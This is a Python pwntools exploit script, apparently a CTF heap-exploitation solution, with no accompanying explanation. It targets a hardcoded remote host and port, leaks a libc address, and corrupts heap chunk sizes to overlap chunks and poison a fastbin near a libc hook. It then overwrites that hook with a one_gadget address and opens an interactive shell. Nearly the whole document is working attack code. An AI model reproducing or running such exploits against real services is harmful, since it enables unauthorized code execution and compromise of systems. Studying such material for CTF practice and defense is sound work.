1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
| from pwn import *
binary = "./pwn" lib = "/lib/x86_64-linux-gnu/libc.so.6" p = process(binary) p = remote("47.104.175.110","20066")
elf = ELF(binary) libc = ELF(lib)
s = lambda buf: p.send(buf) sl = lambda buf: p.sendline(buf) sa = lambda delim, buf: p.sendafter(delim, buf) sal = lambda delim, buf: p.sendlineafter(delim, buf) sh = lambda: p.interactive() r = lambda n=None: p.recv(n) ra = lambda t=tube.forever:p.recvall(t) ru = lambda delim: p.recvuntil(delim) rl = lambda: p.recvline() rls = lambda n=2**20: p.recvlines(n) trs = lambda n: libc.address+n
def add(id,size): sal(">> ","1") sal("input index:",str(id)) sal("input size:",str(size)) def free(id): sal(">> ","2") sal("input index:",str(id)) def edit(id,content): sal(">> ","3") sal("input index:",str(id)) sa("input context:",content) def leak(): sal(">> ","666")
leak() ru("\n") libc.address = int(ru("\n"),16) - libc.sym["printf"] info("libc baser => 0x%x"%libc.address)
add(0,0x18) add(1,0x18) add(2,0x18) add(3,0x68) add(4,0x18) add(5,0x18)
edit(0,"\x00"*0x18+chr(0x20+0x21)) edit(1,"\x00"*0x18+chr(0x70+0x21)) free(1) add(1,0x38) free(2) add(2,0x88)
free(3)
free(2) add(2,0x18) add(9,0x78) edit(1,"\x00"*0x18+chr(0x70+0x21+0x20)+"\x0a") free(2)
edit(1,"A"*0x18+p64(0x70+0x21+0x20)+p64(0)+p64(libc.address+0x5f0f48-0x20-0x10+3)[0:3]+"\n") add(2,0xa8) edit(2,"\x00"*0x18+p64(0x71)+p64(libc.address+0x5f0f48-0x20)[0:3]+"\n")
add(6,0x68) add(6,0x68)
ogg = [libc.address+_ for _ in (0xf67f0,0xf1247,0xf03b0,0x45226,0x4527a,0xcd173,0xcd248,0xf03a4,0xf1247)] og = ogg[1]
payload = "" payload += p64(0)*2 payload += p64(og)[0:3] payload += "\n" edit(6,payload)
sal(">> ","1") sal("input index:","12")
sh()
|